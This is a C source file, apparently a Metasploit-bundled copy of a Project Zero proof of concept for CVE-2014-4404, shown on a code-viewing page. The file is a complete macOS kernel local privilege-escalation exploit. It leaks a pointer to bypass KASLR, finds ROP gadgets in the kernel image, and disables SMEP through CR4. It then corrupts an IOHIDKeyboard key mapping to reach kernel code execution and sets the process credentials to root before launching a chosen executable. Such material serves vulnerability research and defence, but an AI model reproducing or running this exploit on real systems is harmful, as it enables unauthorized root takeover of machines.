Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2014-4404/key_exploit.c
Views: 11780
//1// Source: https://code.google.com/p/google-security-research/issues/detail?id=1262// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html3// Exploit Author: Ian Beer4//56// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=07// ianbeer8#include <stdint.h>9#include <stdio.h>10#include <stdlib.h>11#include <sys/mman.h>12#include <sys/stat.h>13#include <unistd.h>1415#include <CoreFoundation/CoreFoundation.h>16#include <IOKit/IOKitLib.h>1718uint64_t kernel_symbol(char* sym){19char cmd[1024];20strcpy(cmd, "nm -g /mach_kernel | grep ");21strcat(cmd, sym);22strcat(cmd, " | cut -d' ' -f1");23FILE* f = popen(cmd, "r");24char offset_str[17];25fread(offset_str, 16, 1, f);26pclose(f);27offset_str[16] = '\x00';2829uint64_t offset = strtoull(offset_str, NULL, 16);30return offset;31}3233uint64_t leaked_offset_in_kext(){34FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");35char offset_str[17];36fread(offset_str, 16, 1, f);37pclose(f);38offset_str[16] = '\x00';3940uint64_t offset = strtoull(offset_str, NULL, 16);41offset += 0x10; //offset from symbol to leaked pointer42return offset;43}444546uint64_t leak(){47io_iterator_t iter;4849CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),50kIOServicePlane,51CFSTR("AAPL,iokit-ndrv"),52kCFAllocatorDefault,53kIORegistryIterateRecursively);5455if (CFGetTypeID(p) != CFDataGetTypeID()){56printf("expected CFData\n");57return 1;58}5960if (CFDataGetLength(p) != 8){61printf("expected 8 bytes\n");62return 1;63}6465uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));66return leaked;67}6869extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);7071uint64_t load_addr(){72uint64_t addr = 0;73CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);74CFIndex count = CFDictionaryGetCount(kd);7576void **keys;77void **values;7879keys = (void **)malloc(sizeof(void *) * count);80values = (void **)malloc(sizeof(void *) * count);8182CFDictionaryGetKeysAndValues(kd,83(const void **)keys,84(const void **)values);8586for(CFIndex i = 0; i < count; i++){87const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);88if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){89CFNumberGetValue(CFDictionaryGetValue(values[i],90CFSTR("OSBundleLoadAddress")),91kCFNumberSInt64Type,92&addr);93printf("%s: %p\n", name, addr);94break;95}96}97return addr;98}99100uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){101uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret;102103uint64_t kernel_base = 0xffffff8000200000;104kernel_base += kaslr_slide;105106int fd = open("/mach_kernel", O_RDONLY);107if (!fd)108return NULL;109110struct stat _stat;111fstat(fd, &_stat);112size_t buf_len = _stat.st_size;113114uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);115116if (!buf)117return NULL;118119/*120this stack pivot to rax seems to be reliably present across mavericks versions:121push rax122add [rax], eax123add [rbx+0x41], bl124pop rsp125pop r14126pop r15127pop rbp128ret129*/130uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};131uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));132uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);133printf("offset of pivot gadget: %p\n", pivot_gadget_offset);134pivot = kernel_base + pivot_gadget_offset;135136/*137mov rax, cr4138mov [rcx], rax139pop rbp140ret141*/142uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3};143uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes));144uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf);145printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset);146mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset;147148/*149mov cr4, rax150pop rbp151ret152*/153uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3};154uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes));155uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf);156printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset);157mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset;158159/*160pop rcx161ret162*/163uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3};164uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes));165uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf);166printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset);167pop_rcx = kernel_base + pop_rcx_gadget_offset;168169170/*171xor rax, rcx172pop rbp173ret174*/175uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3};176uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes));177uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf);178printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset);179xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset;180181/* need this to jump over the vtable index which will be called:182pop r15183pop rbp184ret185*/186uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3};187uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes));188uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf);189printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset);190pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset;191192munmap(buf, buf_len);193close(fd);194195void* writable_scratch = malloc(8);196memset(writable_scratch, 0, 8);197198uint64_t rop_stack[] = {1990, //pop r142000, //pop r152010, //pop rbp +10202pop_pop_ret,2030, //+20204pivot, //+28205pop_rcx,206(uint64_t)writable_scratch,207mov_rax_cr4,2080, //pop rbp209pop_rcx,2100x00100000, //SMEP bit in cr4211xor_rax_rcx, //flip it2120, //pop rbp213mov_cr4_rax, //write back to cr42140, //pop rbp215payload //SMEP is now disabled so ret to payload in userspace216};217218uint64_t* r = malloc(sizeof(rop_stack));219memcpy(r, rop_stack, sizeof(rop_stack));220*len = sizeof(rop_stack);221return r;222}223224void (*IOLockUnlock) (void*);225int (*KUNCExecute)(char*, int, int);226void (*thread_exception_return)();227void* (*proc_ucred)(void*);228void* (*kauth_cred_get)();229void* (*kauth_cred_setuidgid)(void*, int, int);230void* (*current_proc)();231232void rebase_kernel_payload(uint64_t kaslr_slide){233IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide;234KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;235thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;236proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide;237kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide;238kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide;239current_proc = kernel_symbol("_current_proc") + kaslr_slide;240}241242// rather than working out the offset of p_ucred in the proc structure just get243// the code to tell us :)244// proc_ucred just does return arg->u_cred245uint64_t find_ucred_offset(){246uint64_t offsets[0x80];247for (int i = 0; i < 0x80; i++){248offsets[i] = i*8;249}250return proc_ucred(offsets);251}252253// need to drop this IOLock:254// IOLockLock( _deviceLock);255// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock256// so need to call IOLockUnlock(rbx->_delegate->deviceLock)257void kernel_payload(){258uint8_t* this;259//__asm__("int $3");260__asm__("movq %%rbx, %0" : "=r"(this) : :);261//this now points to the IOHIKeyboardMapper262uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10));263void* _device_lock = *((void**)(IOHIKeyboard+0x88));264IOLockUnlock(_device_lock);265266// real kernel payload goes here:267//KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0);268//thread_exception_return();269270// get root:271uint64_t ucred_offset = find_ucred_offset();272void* old_cred = kauth_cred_get();273void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0);274uint8_t* proc = current_proc();275*((void**)(proc+ucred_offset)) = new_cred;276thread_exception_return();277}278279void trigger(void* vtable, size_t vtable_len, char* exe){280kern_return_t err;281282CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard");283if(!matching){284printf("unable to create service matching dictionary\n");285return;286}287288io_iterator_t iterator;289err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);290if (err != KERN_SUCCESS){291printf("no matches\n");292return;293}294295io_service_t service = IOIteratorNext(iterator);296297if (service == IO_OBJECT_NULL){298printf("unable to find service\n");299return;300}301printf("got service: %x\n", service);302303char* bad_mapping = malloc(0x10000);304memset(bad_mapping, 0, 0x10000);305306uint8_t bad_header[] = {3070x00, 0x01, // nmd.shorts = 13080x00, 0x00, // numMods = 03090x00, 0x00, // numDefs = 03100x00, 0x90, // numSeqs = 0x90311};312313memcpy(bad_mapping, bad_header, sizeof(bad_header));314315uint8_t bad_seq[] = {3160x00, 0x02, // len3170x00, 0x78, 0x56, 0x00, // first entry3180x00, 0x00, 0x00, 0x00, // second entry3190xff, 0xff, // numMods320};321322memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq));323324//need to overallocate and touch the pages since this will be the stack:325mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000;326mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);327328memset(addr, 0, 0x20*0x1000);329330memcpy((void*)0x5678000200, vtable, vtable_len);331/*332uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28);333*vtable_entry = 0x123456789abcdef0; // call this address in ring0334*/335336337CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000);338339err = IORegistryEntrySetCFProperty(340service,341CFSTR("HIDKeyMapping"),342data);343344execve(exe, NULL, NULL);345}346347int main(int argc, char** argv) {348if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); }349350uint64_t leaked_ptr = leak();351uint64_t kext_load_addr = load_addr();352353// get the offset of that pointer in the kext:354uint64_t offset = leaked_offset_in_kext(); //0x8cf0;355356// sanity check the leaked address against the symbol addr:357if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){358printf("the leaked pointer doesn't match up with the expected symbol offset\n");359return 1;360}361362uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;363364printf("kaslr slide: %p\n", kaslr_slide);365366rebase_kernel_payload(kaslr_slide);367368size_t vtable_len = 0;369void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len);370371trigger(vtable, vtable_len, argv[1]);372373return 0;374}375376377